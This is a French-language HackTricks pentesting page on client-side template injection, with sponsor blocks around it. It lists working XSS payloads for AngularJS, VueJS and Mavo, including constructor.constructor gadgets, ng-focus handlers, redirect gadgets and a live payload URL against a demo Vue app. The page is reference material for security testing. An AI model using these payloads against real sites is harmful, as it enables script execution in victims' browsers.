hacktricks/pentesting-web/client-side-template-injection-csti.md

8.2 KiB

Client Side Template Injection (CSTI)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

WhiteIntel

WhiteIntel est un moteur de recherche alimenté par le dark-web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des malwares voleurs.

Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.

Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :

{% embed url="https://whiteintel.io" %}


Résumé

C'est comme une Server Side Template Injection mais dans le client. Le SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du code JavaScript arbitraire dans le navigateur de la victime.

Tester cette vulnérabilité est très similaire à celui du SSTI, l'interpréteur s'attend à un modèle et l'exécutera. Par exemple, avec une charge utile comme {{ 7-7 }}, si l'application est vulnérable, vous verrez un 0, et sinon, vous verrez l'original : {{ 7-7 }}

AngularJS

AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, l'une des plus notables étant ng-app. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.

Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec ng-app, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment le code JavaScript peut être exécuté :

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS à http://jsfiddle.net/2zs2yv7o/ et dans Burp Suite Academy

{% hint style="danger" %} Angular 1.6 a supprimé le sandbox donc à partir de cette version, un payload comme {{constructor.constructor('alert(1)')()}} ou <input ng-focus=$event.view.alert('XSS')> devrait fonctionner. {% endhint %}

VueJS

Vous pouvez trouver une implémentation vulnérable de Vue à https://vue-client-side-template-injection-example.azu.now.sh/
Payload fonctionnel : https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Et le code source de l'exemple vulnérable ici : https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Un très bon article sur CSTI dans VUE peut être trouvé à l'adresse https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Crédit : Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Crédit : Mario Heiderich

Vérifiez plus de charges utiles VUE dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Charge utile :

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Plus de payloads dans https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Liste de détection par force brute

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel est un moteur de recherche alimenté par le dark-web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des malwares voleurs.

Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.

Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}